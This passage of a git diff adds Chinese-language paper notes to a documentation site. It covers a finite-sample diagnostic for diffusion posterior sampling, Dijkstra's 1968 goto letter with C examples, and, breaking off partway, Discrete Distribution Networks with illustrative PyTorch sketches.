+| 方法 | **FSR**：先验 \(p_N^{\text{pr}}(x) = \frac{1}{N}\sum_i \delta(x - x^{(i)})\)，推导 \(p_{t\mid y}^N(x_t \mid y)\) 的闭式（高斯混合） |
+| 用途 | **即插即用诊断工具**：对比任意 likelihood 近似、线性/非线性前向模型 \(\mathcal{A}\) |
+| 核心发现 | 流行近似常**低估或高估**中间后验的 spread → 早停敏感、模态权重错、**幻觉**（prior 模态 / likelihood 模态） |
+
+---
+
+## 为什么重要
+
+不理解这篇论文，下面现象只能「调参碰运气」：
+
+- DPS 重建图像**看起来不错**，但换测量噪声、换 early stopping 就崩
+- **多模态先验**（如 GMM、离散类别）下，采样总偏向某一个「像训练集」的模式，却**不是**真后验该重的模态
+- \(\zeta\)-DPS 调大 \(\zeta\) 有时更好、有时**模态坍缩**——没有 principled 解释
+- 终端样本 \(t=0\) 很 sharp，但轨迹曾经过**无条件边缘 \(p_t(x_t)\) 的低概率区域**，学到的 score 不可靠——换任务可能翻车
+
+论文说明：**失败不必来自非线性测量或多模态后验**；**多模态先验 + 中间 spread 算错**就够了。
+
+---
+
+## 核心概念
+
+### 1. 逆问题与后验采样
+
+观测模型：
+
+\[
+y = \mathcal{A}(x_0) + \eta, \quad \eta \sim \mathcal{N}(0, \Sigma_y)
+\]
+
+目标：从 \(p(x_0 \mid y) \propto p_{\text{pr}}(x_0)\, p(y \mid x_0)\) 采样。扩散模型学的是先验的 score；**后验采样**要在去噪过程中注入 **likelihood guidance**。
+
+### 2. 为什么中间步必须近似？
+
+真后验满足 Bayes：
+
+\[
+p(x_t \mid y) \propto p(x_t)\, p(y \mid x_t)
+\]
+
+但 \(p(y \mid x_t) = \int p(y \mid x_0)\, p(x_0 \mid x_t)\, dx_0\) 一般**没有闭式**。DPS 等用 **Tweedie 均值** \(m_{0|t}(x_t)\) 把 \(p(x_0 \mid x_t)\) **压成 Dirac**，得到 tractable guidance——代价是丢掉**方差/多模态结构**。
+
+### 3. 有限样本透镜（FSR）
+
+把先验换成经验分布：
+
+\[
+p_N^{\text{pr}}(x) = \frac{1}{N}\sum_{i=1}^{N} \delta(x - x^{(i)})
+\]
+
+在 VP-SDE 下（\(\bar{\alpha}(t)\) 为噪声 schedule）：
+
+- **边缘** \(p_t^N(x_t)\)：对每个训练点 \(x^{(i)}\) 加噪后的高斯混合
+- **去噪** \(p_{0|t}^N(x_0 \mid x_t)\)：离散权重 \(w_i(x_t,t)\) 在 \(\{x^{(i)}\}\) 上的组合
+- **似然** \(p_{y|t}^N(y \mid x_t)\)：对 \(i\) 混合 \(\mathcal{N}(y; \mathcal{A}(x^{(i)}), \Sigma_y)\)
+- **后验** \(p_{t|y}^N(x_t \mid y)\)：再乘上 measurement 权重 → **仍是高斯混合，可算、可采**
+
+\(N \to \infty\) 时以 Monte Carlo 率 \(O(N^{-1/2})\) 逼近真后验（固定 \(t>0\)）；\(t \to 0\) 时需要更大的 \(N\)。
+
+### 4. 被诊断的近似族
+
+| 方法族 | 代表 | 对 \(p(x_0 \mid x_t)\) 的近似 | 特点 |
+|--------|------|------------------------------|------|
+| Dirac | **σ-DPS**, **ζ-DPS** | \(\delta(x_0 - m_{0|t})\) | 最简单；spread 全丢 |
+| Gaussian | **ΠGDM**, **TMPD** | 高斯，TMPD 协方差用真 \(C_{0|t}\) | 线性问题更准；仍可能错 spread |
+
+### 5. 论文归纳的失败模式
+
+1. **中间 spread 错误**：σ-DPS 全程方差偏；均值在中间 \(t\) 也可能偏
+2. **模态权重错**：该重的后验模态权重低，不该出现的 prior 模态被采样（**prior 幻觉**）
+3. **likelihood 幻觉**：测量一致但先验极不可能的模式
+4. **早停敏感**：spread 错 → 最优 stopping time 依赖任务，无通用默认值
+5. **ζ 调参权衡**：大 \(\zeta\) 加强似然可能减幻觉，也可能**单模态坍缩**
+
+---
+
+## 代码示例 1：有限样本后验权重（玩具 GMM 先验 + 线性测量）
+
+下面用 NumPy 实现 FSR 在**单个** \(x_t, t\) 上的后验混合权重（1D 示意）：
+
+```python
+import numpy as np
+
+def vp_alpha_bar(t, beta_max=20.0):
+    """简化的 VP schedule：返回 sqrt(ᾱ(t)) 与 (1-ᾱ(t))。"""
+    # 连续近似：ᾱ(t) = exp(-0.5 * beta_max * t^2)，t ∈ [0,1]
+    alpha_bar = np.exp(-0.5 * beta_max * t ** 2)
+    return np.sqrt(alpha_bar), 1.0 - alpha_bar
+
+def fsr_posterior_weights(x_train, x_t, t, y, A, sigma_y=0.1):
+    """
+    x_train: (N,) 有限样本先验支撑
+    x_t: 当前噪声状态（标量）
+    y: 观测 A @ x0 + noise（标量线性 A）
+    返回: 对 x_train 每个点的后验 responsibility（未归一化可再归一化）
+    """
+    sqrt_ab, one_minus_ab = vp_alpha_bar(t)
+    N = len(x_train)
+    # p(x_t | x^{(i)}) ∝ N(x_t; sqrt(ᾱ) x^{(i)}, (1-ᾱ))
+    log_px_t_given_i = -0.5 * (x_t - sqrt_ab * x_train) ** 2 / one_minus_ab
+    log_px_t_given_i -= 0.5 * np.log(2 * np.pi * one_minus_ab)
+
+    # p(y | x^{(i)}) ∝ N(y; A * x^{(i)}, sigma_y^2)
+    pred_y = A * x_train
+    log_py_given_i = -0.5 * (y - pred_y) ** 2 / sigma_y ** 2
+    log_py_given_i -= 0.5 * np.log(2 * np.pi * sigma_y ** 2)
+
+    log_joint = log_px_t_given_i + log_py_given_i
+    log_joint -= log_joint.max()  # 数值稳定
+    w = np.exp(log_joint)
+    w /= w.sum()
+    return w
+
+# 双模态先验：两团训练点
+rng = np.random.default_rng(0)
+x_train = np.concatenate([
+    rng.normal(-2.0, 0.2, 500),
+    rng.normal(+2.0, 0.2, 500),
+])
+A = 1.0
+x0_true = -2.0
+y = A * x0_true + rng.normal(0, 0.1)
+
+for t in [0.8, 0.4, 0.1]:
+    w = fsr_posterior_weights(x_train, x_t=0.0, t=t, y=y, A=A)
+    left_mass = w[x_train < 0].sum()
+    print(f"t={t:.1f}  P(模态 x<0 | y) ≈ {left_mass:.3f}")
+```
+
+**读输出**：在 \(t=0.8\) 测量已把权重推向 \(x<0\) 模态；若某 DPS 近似在中间 \(t\) spread 过窄，轨迹可能提前锁死在错误模态或漏掉正确模态——FSR 的 `w` 就是对照 ground truth。
+
+---
+
+## 代码示例 2：Dirac（DPS 式）vs 完整 FSR  spread
+
+第二个例子比较 **Dirac 近似均值** 与 **FSR 真后验均值/方差**：
+
+```python
+def fsr_mean_var(x_train, w):
+    mu = (w * x_train).sum()
+    var = (w * (x_train - mu) ** 2).sum()
+    return mu, var
+
+def dirac_dps_mean(x_train, x_t, t):
+    """σ-DPS 思路：p(x0|xt) ≈ δ(m_{0|t})，m_{0|t} 为 Tweedie 均值。"""
+    sqrt_ab, one_minus_ab = vp_alpha_bar(t)
+    # 权重仅来自 p(x_t | x^{(i)})，无 y
+    log_w = -0.5 * (x_t - sqrt_ab * x_train) ** 2 / one_minus_ab
+    log_w -= log_w.max()
+    w_prior = np.exp(log_w)
+    w_prior /= w_prior.sum()
+    return (w_prior * x_train).sum()
+
+t = 0.5
+x_t = 0.5
+w_post = fsr_posterior_weights(x_train, x_t, t, y, A)
+mu_fsr, var_fsr = fsr_mean_var(x_train, w_post)
+mu_dirac = dirac_dps_mean(x_train, x_t, t)
+
+print(f"FSR  E[x0|xt,y] = {mu_fsr:.3f},  Var = {var_fsr:.4f}")
+print(f"Dirac m_{0|t}   = {mu_dirac:.3f}  （不含 y 的 Tweedie 均值）")
+print(f"真 x0 = {x0_true},  观测 y = {y:.3f}")
+```
+
+**要点**：
+
+- Dirac 用的 \(m_{0|t}\) **不看 \(y\)**；DPS 的 guidance 另加梯度项，但 spread 仍像 Dirac 一样缺失
+- FSR 的 `var_fsr` 告诉你**此刻**后验还有多宽——σ-DPS 若 implicit 方差更小，就会 **under-spread** → 模态权重失真
+
+---
+
+## 实验与诊断工作流（论文做法）
+
+1. **选先验**：离散 / 高斯 / GMM 等可解析对照
+2. **建 FSR**：从 \(N\) 个 i.i.d. 样本构造 \(p_N^{\text{pr}}\)
+3. **固定 \(t\)**：算 \(p_{t|y}^N\) 与 moment（均值、协方差、模态 mass）
+4. **跑 σ-DPS / ζ-DPS / TMPD**：在同一 \((y, t)\) 记录近似 posterior 的 moment
+5. **对比 gap**：spread 低估 → 查 prior 幻觉；spread 高估 → 查 likelihood 幻觉与早停
+
+论文报告：FSR 在**中等较大 \(t\)** 精度高；\(t \to 0\) 需增大 \(N\)。σ-DPS 常在中间步均值、方差都偏；ζ 调参只能部分缓解，无法消除所有幻觉类型。
+
+---
+
+## 与其他工作的关系
+
+| 方向 | 代表 | 与本文关系 |
+|------|------|------------|
+| DPS 原论文 | Chung et al., 2023 | 被诊断的 Dirac 近似来源 |
+| Feynman-Kac 偏差分析 | arXiv:2605.06538 | 从 PDE/路径期望解释 DPS 偏差；本文从**有限样本可算后验**给工程诊断 |
+| FPS / 粒子滤波 | Dou & Song, ICLR 2024 | 渐近正确但贵；FSR 是**解析** surrogate 而非采样算法 |
+| 计算不可 tractability | ICML 2024 等 | 说明精确后验采样难；本文在**可算 toy / FSR** 上隔离近似误差 |
+
+---
+
+## 局限与后续
+
+- **\(N\) 与 \(t\)**：越接近 \(t=0\)，准确评估所需样本数越大
+- **学出来的先验**：FSR 用经验点集；真实扩散 prior 是神经网络 score，诊断需用训练集或 coreset 近似
+- **未覆盖**：prior 学习误差、极低 \(p_t(x_t)\) 区域的 score 质量
+
+---
+
+## 给实践者的三条建议
+
+1. **不要只看最终图**：对关键 \(t\) 用 FSR（或小型验证集）检查 posterior spread 是否合理
+2. **多模态先验要格外小心**：即使测量线性、后验单模态，**先验多峰 + Dirac** 仍可能 hallucinate
+3. **把 FSR 当单元测试**：新 guidance 公式上线前，在 GMM/离散先验上对比 moment，比只盯 PSNR 更可靠
+
+---
+
+## 小结
+
+| 问题 | 答案 |
+|------|------|
+| **When** 失败？ | 中间 timestep 的 likelihood/denoiser 近似导致 spread 错时 |
+| **Why**？ | Dirac/Gaussian 矩匹配丢失多模态与方差 → 模态权重与轨迹偏 |
+| **How**？ | 用 **Finite-Sample Lens** 构造可解析后验，对比 moment 与样本 |
+| **意外结论** | 非线性 \(\mathcal{A}\)、多模态后验**不是必要条件**；多模态先验即可 |
+
+---
+
+## 延伸阅读
+
+- [DPS 原论文](https://arxiv.org/abs/2209.14687) — Diffusion Posterior Sampling for General Noisy Inverse Problems
+- [ΠGDM / TMPD 等矩匹配方法](https://arxiv.org/abs/2305.08995) — 高斯近似族
+- [Feynman-Kac 偏差分析](https://arxiv.org/abs/2605.06538) — 路径级解释 DPS 偏差的互补视角
+- [[paged-attention-vllm]] — 推理系统侧优化；与「采样是否正确」正交但同属生成栈
diff --git a/src/content/docs/papers/dijkstra-goto-1968.md b/src/content/docs/papers/dijkstra-goto-1968.md
new file mode 100644
index 000000000..6aa8edb66
--- /dev/null
+++ b/src/content/docs/papers/dijkstra-goto-1968.md
@@ -0,0 +1,239 @@
+---
+title: Go To Statement Considered Harmful — Dijkstra 1968 结构化编程宣言
+来源: https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+1968 年 3 月，荷兰计算机科学家 **Edsger W. Dijkstra** 在 *Communications of the ACM* 上发表了一封只有两页的「读者来信」，标题是 **Go To Statement Considered Harmful**（`goto` 语句是有害的）。全文没有一行代码，却改变了此后半个世纪程序员写程序的方式。
+
+论文的核心主张很直白：**`goto` 应该从所有「高级」编程语言中废除**（机器码除外）。Dijkstra 观察到，程序员产出的代码质量，与程序里 `goto` 的密度呈负相关——`goto` 越多，程序越难理解、越难推理、越难证明正确。
+
+日常类比：想象你在读一本小说。正常写法是「第一章 → 第二章 → 第三章」，偶尔出现「如果下雨就跳第五章」这种分支，或者「回到第三章开头再读一遍」这种循环——你始终知道自己在书的哪一页。`goto` 则像书里随机写着「现在翻到第 217 页第 3 段」——你当然还能读下去，但**再也说不清「故事进行到哪一步」**，变量人物关系、伏笔含义都会在这一跳里变得暧昧不清。
+
+这篇短文常被视作 **结构化编程（Structured Programming）** 运动的公开起点。它本身不发明 `if`/`while`/`for`，而是解释为什么这些结构比裸 `goto` 更适合人类大脑。
+
+## 历史背景
+
+| 时间 | 事件 |
+|------|------|
+| 1966 | Bohm & Jacopini 证明：任意流程图都可改写为只用**顺序、选择、迭代**三种结构 |
+| 1968-03 | Dijkstra 发表本文（原稿标题是 *A Case against the GO TO Statement*，编辑 Niklaus Wirth 改成了现在更刺眼的标题） |
+| 1970s | Pascal、C 等语言保留 `goto` 但主流教材开始强调结构化写法 |
+| 1980s+ | Java 等语言直接取消 `goto`；C# 保留 `goto` 但视为代码异味 |
+
+Dijkstra 后来抱怨：IBM 偷走了「结构化编程」这个词，有人把它**简化成「禁止 goto」**——那只是冰山一角。他真正关心的是：**我们能否用有限的、可推理的程序结构，构造足够表达力的软件，并在此基础上证明正确性。**
+
+## 为什么重要
+
+不理解这篇两页纸，下面这些事都没法放在同一张图上：
+
+- 为什么现代语言把 `if`/`else`、`while`、`for` 当作一等公民，却把 `goto` 藏进角落或干脆删掉
+- 为什么代码审查里「满屏跳转标签」会被一眼打回
+- 为什么「能读懂代码」和「能证明代码没错」在 Dijkstra 眼里是同一件事的两面
+- 为什么后来出现 **「X considered harmful」** 模板文章（从 `unsigned` 到 `cookies` 都有人写过）
+
+更重要的是论文里那个少被引用、但技术上最锋利的论点：**程序执行到某一刻时，变量值的含义依赖于「执行进度」；而 `goto` 会破坏你用「进度坐标」理解程序的能力。**
+
+## 核心概念
+
+### 1. 执行进度的「坐标系」
+
+Dijkstra 问：怎样描述一个正在运行的程序「进行到哪了」？
+
+在没有 `goto`、只有顺序语句时，一个**文本索引**（textual index）就够了——就是「当前执行到源文件的第几行」。
+
+加入 **过程调用（procedure）** 后，一个索引不够：你得记录「正在执行哪个过程的哪一行」，以及「这是第几层嵌套调用」——变成一串文本索引，长度等于动态调用深度。
+
+加入 **循环（repetition）** 后，还要加 **动态索引（dynamic index）**：第几次进入这个 `while`？嵌套循环时，索引序列混合「文本位置 + 第几轮循环」。
+
+关键性质：**这些索引的值不由程序员随手指定，而是由程序文本和执行过程自动生成。** 它们是描述进度的**独立坐标**。
+
+### 2. 变量含义依赖于进度
+
+论文最著名的例子（意译）：
+
+> 你要统计房间里的人数 `n`。每当看到有人进门，就把 `n` 加 1。  
+> 在「已经看到有人进门」和「还没执行 `n++`」之间的那一瞬间，  
+> **`n` 的值等于房间里实际人数减 1。**
+
+这不是 bug，而是**进度与变量之间的约定**。你能说清「此刻执行到哪一步」，才能说清「此刻 `n` 代表什么」。
+
+`goto` 的问题在于：它允许控制流任意跳跃，使得**很难找到一组简单、稳定的坐标**来刻画进度。有人试图用「某些关键变量的值」当坐标，但 Dijkstra 指出——**变量值的语义本身就要靠进度来解释**，这形成循环依赖。
+
+唯一总能用的坐标是「从程序启动以来执行了多少条语句」——像一台归一化时钟。它唯一，但**毫无帮助**：在这个坐标系里，表达「`n` 等于房间人数减 1」这类陈述会变得极其笨重。
+
+### 3. `goto` 是「太原始的邀请」
+
+Dijkstra 的原话精神：`goto` **本身太 primitive**，它太像一张邀请函，邀请你把程序写成一团乱麻。`if`、`while`、`repeat`、`case`、过程调用等结构，是在**给跳转套上缰绳**——不是消灭控制流，而是让控制流可被抽象、可被归纳证明。
+
+这与 Bohm-Jacopini 的结构定理一致：表达能力上不必然需要 `goto`；需要的是**可管理的控制流纪律**。
+
+### 4. 与正确性证明的关系
+
+Dijkstra 在同一时期的笔记（EWD 系列）里把观点说得更满：证明程序正确，不能靠穷举所有输入（组合爆炸）；必须依赖**程序结构**（数学归纳法适配循环、抽象适配过程）。`goto` 让「从静态文本推断动态行为」变难，直接损害这条路线。
+
+## 实践案例
+
+### 案例 1：面条代码 vs 结构化改写
+
+下面是一段带有 `goto` 的伪 C 代码，实现「读入正数并求和，遇到非正数则结束」：
+
+```c
+/* 风格 A：goto + 标签 — 能跑，但进度模糊 */
+int sum = 0, x;
+start:
+    x = read();
+    if (x <= 0) goto done;
+    sum += x;
+    goto start;
+done:
+    print(sum);
+```
+
+等价的结构化写法：
+
+```c
+/* 风格 B：while — 进度坐标清晰：在循环第几轮一目了然 */
+int sum = 0, x;
+while (1) {
+    x = read();
+    if (x <= 0) break;
+    sum += x;
+}
+print(sum);
+```
+
+两种写法机器层面可能生成类似的跳转指令，但人类读者在风格 B 里自带坐标：**「我们在 `while` 的某一轮」**。审查者可以说：「循环不变式：`sum` 是已读正数的和」——这对证明与维护至关重要。
+
+### 案例 2：用 `goto` 实现状态机 — 为何后来改用 `switch`
+
+早期网络协议常手写状态机。`goto` 版：
+
+```c
+enum { WAIT_HDR, READ_BODY, DONE } state = WAIT_HDR;
+
+dispatch:
+    if (state == WAIT_HDR) {
+        if (!read_header()) goto error;
+        state = READ_BODY;
+        goto dispatch;
+    } else if (state == READ_BODY) {
+        if (!read_body()) goto error;
+        state = DONE;
+        goto dispatch;
+    }
+    return OK;
+error:
+    return FAIL;
+```
+
+结构化改写（表驱动或 `switch`）：
+
+```c
+while (state != DONE) {
+    switch (state) {
+    case WAIT_HDR:
+        if (!read_header()) return FAIL;
+        state = READ_BODY;
+        break;
+    case READ_BODY:
+        if (!read_body()) return FAIL;
+        state = DONE;
+        break;
+    default:
+        return FAIL;
+    }
+}
+return OK;
+```
+
+`switch` 并没有魔法，但它把「下一状态」绑在**可枚举的局部结构**上，读者不必在标签海洋里找「从 `error` 能跳到哪儿」。
+
+### 案例 3：Linux 内核里仍存在的 `goto` — 何时算「有纪律的使用」
+
+Linux 内核风格指南允许 **`goto` 仅用于统一的错误清理路径**（常见于 C 资源申请）：
+
+```c
+int setup(void) {
+    if (alloc_a() < 0) return -ENOMEM;
+    if (alloc_b() < 0) goto err_a;
+    if (alloc_c() < 0) goto err_b;
+    return 0;
+err_b:
+    free_b();
+err_a:
+    free_a();
+    return -ENOMEM;
+}
+```
+
+这不是反驳 Dijkstra，而是 **C 语言缺少 defer/RAII 的折中**：所有 `goto` 目标向下、单向、用于清理，不形成 arbitrary 循环。社区共识是：**这是受控的例外，不是鼓励面条代码。**
+
+## 结构化程序的三种基本结构
+
+Bohm & Jacopini (1966) 与 Dijkstra 共同支撑的图片可以记成：
+
+```
+顺序 (Sequence)     ：一条接一条执行
+选择 (Selection)    ：if / else / case — 二选一或多选一
+迭代 (Iteration)    ：while / for / repeat — 条件满足则重复
+```
+
+现代语言再加 **过程抽象**（函数、模块）处理重复逻辑与命名层次。这五样足以表达可计算性意义上的「所有程序」，同时保留可读的进度坐标。
+
+## 踩过的坑
+
+1. **「禁止 goto」≠ 结构化编程的全部**  
+   Dijkstra 本人后来吐槽，业界把结构化编程降格成「不用 goto」。数据抽象、不变式、分层设计同样是支柱。
+
+2. **机器码里仍有跳转**  
+   论文说的是**高级语言**应提供更高层结构，让程序员不必亲手编织蜘蛛网。编译器把 `while`  lowering 成 `jmp` 完全 OK。
+
+3. **少数场景 `goto` 仍有辩护**  
+   错误处理（C）、跳出多层循环（某些语言用 labeled break 替代）、极致性能手写汇编。关键是：**跳转是否受纪律约束**，而非绝对禁字。
+
+4. **标题是编辑改的**  
+   原稿较温和 (*A case against...*)，Wirth 改成 *Considered Harmful* 引爆传播。读正文时别被标题吓到——论证是几何与逻辑性的，不是道德审判。
+
+5. **与「函数式没有循环」不是一回事**  
+   函数式用递归表达迭代，坐标系换成「调用栈深度 + 归纳假设」。争论焦点相同：**人类如何跟踪计算进度。**
+
+## 适用 vs 不适用
+
+| 场景 | 建议 |
+|------|------|
+| 业务逻辑、库 API、教学示例 | 用 `if`/`while`/`for`/函数，避免 `goto` |
+| 需要形式化验证、安全关键系统 | 遵循结构化子集；`goto` 使静态分析变难 |
+| C 资源清理、内核错误路径 | 受控 `goto` 可接受，集中单出口清理 |
+| 手写汇编、JIT 代码生成 | 底层跳转不可避免，与本文讨论的抽象层不同 |
+
+## 与今天的关系
+
+- **Rust / Go / Java**：无 `goto` 或极少用；错误用 `Result`、`panic`、defer 模式处理。
+- **静态分析 & 编译器优化**：CFG（控制流图）上的 structured region 更易做数据流分析；任意 `goto` 破坏 structuredness。
+- **「代码异味」文化**：Spaghetti code 仍是对 untamed `goto` 的贬称。
+
+1968 年的两页纸，本质是在说：**编程不仅是告诉机器做什么，更是让人类（包括六个月后的你自己）能追踪「故事进行到哪一页」。** `goto` 撕掉了页码；`if` 和 `while` 把页码印了回去。
+
+## 延伸阅读
+
+- Dijkstra, EWD 215 / EWD 268 — 结构化编程更长笔记
+- Bohm, C. & Jacopini, G. (1966) — 顺序/选择/迭代的结构定理
+- Knuth, D. (1974) *Structured Programming with go to Statements* — 对「一刀切禁止」的反驳与调和
+- Wirth, N. — Pascal 语言设计，与本文发表于同一时期的 ALGOL 传统
+
+## 原文信息
+
+| 字段 | 内容 |
+|------|------|
+| 作者 | Edsger W. Dijkstra |
+| 发表 | Communications of the ACM, Vol. 11, No. 3, March 1968, pp. 147–148 |
+| 机构 | Technological University, Eindhoven |
+| 原文 PDF | [CWI 镜像](https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf) |
+| ACM DOI | [10.1145/362929.362947](https://doi.org/10.1145/362929.362947) |
diff --git a/src/content/docs/papers/discrete-dist-net.md b/src/content/docs/papers/discrete-dist-net.md
new file mode 100644
index 000000000..01d87d2ab
--- /dev/null
+++ b/src/content/docs/papers/discrete-dist-net.md
@@ -0,0 +1,317 @@
+---
+title: Discrete Distribution Networks（离散分布网络）
+来源: https://arxiv.org/abs/2401.00036
+日期: 2026-06-13
+分类: 机器学习
+子分类: 生成模型
+provenance: pipeline-v3
+---
+
+# Discrete Distribution Networks（离散分布网络）
+
+## 一句话总结
+
+DDN 是一种全新的生成模型：它不让神经网络只"吐出"一张图，而是同时吐出 K 张图，用这 K 张图组成的离散分布来逼近真实数据的分布。
+
+## 日常类比：厨师做菜
+
+想象你是一位学厨艺的学生，目标是模仿一道名菜。
+
+传统模型（如 GAN、DDPM）的做法是：厨师每次尝试做一道菜，做得好就记住配方，做得不好就扔垃圾桶重来。要做出足够多样的菜，厨师需要尝试非常多次。
+
+DDN 的做法是：厨师每次同时做 K 道"半成品菜"，然后尝一尝哪一道跟目标最接近，只把最接近的那一道交给下一轮继续加工。第一轮可能做得很粗糙，但第二轮会基于第一轮最好的结果再做 K 道，第三轮再选最好的继续……层数越多，最终成品就越接近目标。
+
+关键区别：每次不只试一次，而是同时试 K 次，然后"择优录取"。
+
+## 核心概念 1：离散分布层（DDL）
+
+DDN 的基本构建块叫 **Discrete Distribution Layer（离散分布层，DDL）**。每一层做三件事：
+
+1. **生成 K 个候选**：接收上一层的输入（第一层时输入是全零），通过 K 个"输出节点"同时生成 K 张图像
+2. **择优**：从 K 张中选一张与目标图像最接近的（用 L2 距离衡量）
+3. **传递**：被选中的那一张传给下一层，同时记录下被选中的是第几个节点（这个编号就是"隐变量"）
+
+如果网络有 L 层、每层 K 个节点，总共有 K^L 种可能的输出路径。即使 K=512、L=128，K^L 也是一个天文数字，远超任何数据集的规模。
+
+**用代码理解：**
+
+```python
+import torch
+import torch.nn as nn
+
+# 假设有一层 DDL，包含 K=5 个输出节点
+# 每个节点是一组 1x1 卷积，把特征图变成图像
+K = 5
+batch_size = 1
+height, width, channels = 64, 64, 3
+
+# 每个输出节点的 1x1 卷积参数
+# shape: [K, channels, channels] —— 每个节点独立学习如何"变换特征到图像"
+output_nodes = nn.Parameter(
+    torch.randn(K, channels, channels)
+)
+
+def forward_ddl_layer(features, output_nodes, target_image):
+    """
+    前向传播：K 个候选 -> 选最优 -> 计算损失
+
+    Args:
+        features: 上一层的特征图, shape [batch, channels, H, W]
+        output_nodes: K 个节点的卷积核, shape [K, C, C]
+        target_image: 目标图像, shape [batch, C, H, W]
+
+    Returns:
+        best_output: 选出的最佳输出图像
+        best_index: 最佳输出对应的节点编号（隐变量）
+        loss: 仅对选中的输出计算 L2 损失
+    """
+    batch, C, H, W = target_image.shape
+
+    # 步骤 1：K 个节点各自生成一张图像
+    # 对每个节点做 1x1 卷积 -> 得到 K 张候选图像
+    # output_nodes shape: [K, C, C]
+    # features shape: [batch, C, H, W]
+    # 展开 features 为 [batch*H*W, C]，然后跟每个节点的卷积核做矩阵乘法
+    x_flat = features.permute(0, 2, 3, 1).reshape(-1, C)  # [batch*H*W, C]
+    candidates = torch.matmul(x_flat, output_nodes.T)       # [batch*H*W, K]
+    candidates = candidates.reshape(batch, H, W, K, C)     # [batch, H, W, K, C]
+    candidates = candidates.permute(0, 4, 1, 2, 3)         # [batch, C, H, W, K]
+
+    # 步骤 2：择优——计算每张候选与目标的 L2 距离，选最小的
+    distances = torch.norm(candidates - target_image, p=2, dim=1)  # [batch, H, W, K]
+    distances = distances.mean(dim=[1, 2])  # [batch, K] 平均所有像素
+    best_index = torch.argmin(distances, dim=1)  # [batch]
+
+    # 步骤 3：取出被选中的输出
+    batch_indices = torch.arange(batch)
+    best_output = candidates[batch_indices, :, :, best_index, :]  # [batch, C, H, W]
+
+    # 步骤 4：只对选中的输出计算损失
+    loss = torch.norm(best_output - target_image, p=2) / batch
+
+    return best_output, best_index, loss
+```
+
+## 核心概念 2：Split-and-Prune 优化算法
+
+DDN 面临一个关键挑战：每一层只对被选中的节点更新参数，那些没被选中的节点就会"饿死"（类似 VQ-VAE 中的 dead codebooks 问题）。DDN 的解决方案是借鉴进化论的 **Split-and-Prune**：
+
+- **Split（分裂）**：当某个节点被选中的频率过高（超过阈值 2/K），就克隆它变成两个节点。刚克隆时参数完全一样，但后续训练中它们会被不同的样本引导，逐渐分化成不同的输出
+- **Prune（修剪）**：当某个节点长期不被选中（低于阈值 0.5/K），就直接删除它
+
+这就像生物进化：频繁被"自然选择"的物种会繁衍分裂，长期被淘汰的物种会灭绝。
+
+```python
+class SplitAndPrune:
+    """
+    Split-and-Prune 优化器
+    类比：物种的繁衍（分裂）与灭绝（修剪）
+
+    - 被选中的节点就像"适者生存"，获得繁衍机会
+    - 不被选中的节点就像"不适者"，面临灭绝
+    - 分裂后的两个子节点一开始相同，但后续训练会让它们"分道扬镳"
+    """
+
+    def __init__(self, K=512):
+        self.K = K
+        self.split_threshold = 2.0 / K      # 超过此频率就分裂
+        self.prune_threshold = 0.5 / K       # 低于此频率就修剪
+        self.counts = torch.zeros(K)         # 每个节点的选中计数
+        self.num_samples = 0
+
+    def step(self, selected_index, K_current):
+        """
+        训练一步：选择节点 + 可选的分裂/修剪
+
+        Args:
+            selected_index: 本轮被选中的节点编号
+
+        Returns:
+            needs_split: 是否需要执行 Split
+            needs_prune: 是否需要执行 Prune
+        """
+        self.counts[selected_index] += 1
+        self.num_samples += 1
+
+        # 计算每个节点的相对频率
+        frequencies = self.counts[:K_current] / self.num_samples
+
+        # 找出频率最高和最低的节点
+        max_freq_idx = torch.argmax(frequencies).item()
+        min_freq_idx = torch.argmin(frequencies).item()
+
+        needs_split = frequencies[max_freq_idx] > self.split_threshold
+        needs_prune = (K_current > 2) and (frequencies[min_freq_idx] < self.prune_threshold)
+
+        if needs_split:
+            # 克隆最高频节点：复制参数，平分计数
+            # 两个新节点初始参数相同，但后续会被不同样本引导
+            pass
+
+        if needs_prune:
+            # 删除最低频节点，从网络中移除
+            pass
+
+        return needs_split, needs_prune
+```
+
+## 核心概念 3：生成与重建
+
+DDN 有两种用法：
+
+### 3.1 重建（Reconstruction）
+
+给定一张目标图片，从全零开始逐层推理，每层选最接近目标的候选。最终输出的图像就是重建结果。沿着推理路径记录的节点编号序列 [k1, k2, ..., kL] 就是这张图片的"隐变量编码"。
+
+### 3.2 生成（Generation）
+
+把 Guided Sampler（择优采样器）换成 **随机选择**。因为总共有 K^L 条路径，随机选一条就能生成一张新图片。
+
+**生成过程代码：**
+
+```python
+def generate_ddn(ddn_network, L, K, random_seed=42):
+    """
+    从 DDN 生成一张新图片
+
+    训练时：每层选最接近目标的（Guided Sampler）
+    生成时：每层随机选一个节点（Random Sampler）
+
+    Args:
+        ddn_network: 训练好的 DDN 网络（包含 L 层 DDL）
+        L: 网络层数
+        K: 每层的节点数
+        random_seed: 随机种子
+
+    Returns:
+        generated_image: 生成的图像 [C, H, W]
+        latent_codes: 隐变量编码序列 [L]，每个元素是 0..K-1 的整数
+    """
+    import random
+
+    torch.manual_seed(random_seed)
+    random.seed(random_seed)
+
+    # 第一层输入：全零
+    current_input = torch.zeros(1, 3, 64, 64)
+    latent_codes = []
+
+    for layer_idx in range(L):
+        layer = ddn_network.layers[layer_idx]
+
+        # 当前层生成 K 个候选
+        candidates = layer(current_input)  # shape: [1, 3, 64, 64, K]
+
+        # 关键：随机选择，而非择优选择
+        chosen_idx = random.randint(0, K - 1)
+        latent_codes.append(chosen_idx)
+
+        # 取出选中的候选作为下一层输入
+        current_input = candidates[:, :, :, chosen_idx, :]
+
+    # 最终输出就是生成的图像
+    generated_image = current_input.squeeze(0)
+    return generated_image, latent_codes
+
+# 举例：假设 DDN 的 K=512, L=128
+# 隐变量编码长度 = 128，每个值是 0~511
+# 信息量 = 128 * log2(512) = 128 * 9 = 1152 bits
+# 一张 64x64 RGB 图像的原始像素信息量约为 64*64*24 = 98304 bits
+# 压缩比 = 98304 / 1152 ≈ 85:1
+print(f"隐变量信息量: {128 * 9} bits")
+print(f"原始图像信息量: {64 * 64 * 24} bits")
+print(f"压缩比: ~{64*64*24 // (128*9)}:1")
+```
+
+## 核心概念 4：零样本条件生成（ZSCG）
+
